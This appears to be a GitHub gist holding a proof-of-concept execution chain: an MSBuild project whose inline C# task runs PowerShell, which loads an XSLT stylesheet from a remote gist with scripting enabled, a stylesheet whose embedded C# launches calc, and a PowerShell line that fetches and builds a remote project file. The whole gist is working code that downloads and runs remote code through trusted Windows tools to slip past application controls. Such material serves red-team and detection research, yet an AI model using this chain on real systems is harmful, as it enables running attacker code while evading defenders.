Created
July 25, 2019 20:57
-
-
Save andripwn/10c46701297153ea1c6a03c2e5dd92a6 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> | |
<!-- This inline task executes c# code. --> | |
<!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe powaShell.csproj --> | |
<Target Name="Hello"> | |
<ClassExample /> | |
</Target> | |
<UsingTask | |
TaskName="ClassExample" | |
TaskFactory="CodeTaskFactory" | |
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" > | |
<Task> | |
<Reference Include="c:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /> | |
<!-- Your PowerShell Path May vary --> | |
<Code Type="Class" Language="cs"> | |
<![CDATA[ | |
using System; | |
using System.Reflection; | |
using Microsoft.Build.Framework; | |
using Microsoft.Build.Utilities; | |
using System.Collections.ObjectModel; | |
using System.Management.Automation; | |
using System.Management.Automation.Runspaces; | |
using System.Text; | |
public class ClassExample : Task, ITask | |
{ | |
public override bool Execute() | |
{ | |
//Console.WriteLine("Hello From a Class."); | |
Console.WriteLine(powaShell.RunPSCommand()); | |
return true; | |
} | |
} | |
//Based on Jared Atkinson's And Justin Warner's Work | |
public class powaShell | |
{ | |
public static string RunPSCommand() | |
{ | |
//Init stuff | |
InitialSessionState iss = InitialSessionState.CreateDefault(); | |
iss.LanguageMode = PSLanguageMode.FullLanguage; | |
Runspace runspace = RunspaceFactory.CreateRunspace(iss); | |
runspace.Open(); | |
RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace); | |
Pipeline pipeline = runspace.CreatePipeline(); | |
//Interrogate LockDownPolicy | |
//Console.WriteLine(System.Management.Automation.Security.SystemPolicy.GetSystemLockdownPolicy()); | |
//Add commands | |
pipeline.Commands.AddScript("$s=New-Object System.Xml.Xsl.XsltSettings;$r=New-Object System.Xml.XmlUrlResolver;$s.EnableScript=1;$x=New-Object System.Xml.Xsl.XslCompiledTransform;$x.Load('https://gist.githubusercontent.com/caseysmithrc/2a1f1e3ef0a86ea85b7b32cfb5d72de4/raw/f8b3544a737eacf89915a85ff8ee0735febcc9d8/JankyAF.xsl',$s,$r);$x.Transform('https://gist.githubusercontent.com/caseysmithrc/2a1f1e3ef0a86ea85b7b32cfb5d72de4/raw/f8b3544a737eacf89915a85ff8ee0735febcc9d8/JankyAF.xsl','z');del z;"); | |
//Prep PS for string output and invoke | |
//pipeline.Commands.Add("Out-String"); | |
Collection<PSObject> results = pipeline.Invoke(); | |
runspace.Close(); | |
//Convert records to strings | |
StringBuilder stringBuilder = new StringBuilder(); | |
foreach (PSObject obj in results) | |
{ | |
stringBuilder.Append(obj); | |
} | |
return stringBuilder.ToString().Trim(); | |
} | |
} | |
]]> | |
</Code> | |
</Task> | |
</UsingTask> | |
</Project> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" | |
xmlns:msxsl="urn:schemas-microsoft-com:xslt" | |
xmlns:u="urn:my-scripts"> | |
<!-- | |
'<a/>' > blah.txt | |
$xslt = New-Object System.Xml.Xsl.XslTransform | |
$xslt.Load("$pwd\JankyAF.xsl"); | |
$xslt.Transform("$pwd\blah.txt","$pwd\blah.txt") | |
--> | |
<msxsl:script language="C#" implements-prefix="u"> | |
<![CDATA[ | |
public void BoomTown(){ System.Diagnostics.Process.Start("calc"); } | |
]]> | |
</msxsl:script> | |
<xsl:template match="/"> | |
<xsl:value-of select="u:BoomTown()"/> | |
</xsl:template> | |
</xsl:stylesheet> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[Reflection.Assembly]::LoadWithPartialName('Microsoft.Build'); | |
$proj = [System.Xml.XmlReader]::create("https://gist.githubusercontent.com/bohops/37f256ca83b9e0246cefbcc9d4fc597f/raw/f80b578797ce28d680bbaf831fe8765062c08483/JankyAF.csproj"); | |
$e=new-object Microsoft.Build.Evaluation.Project($proj); | |
$e.Build(); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment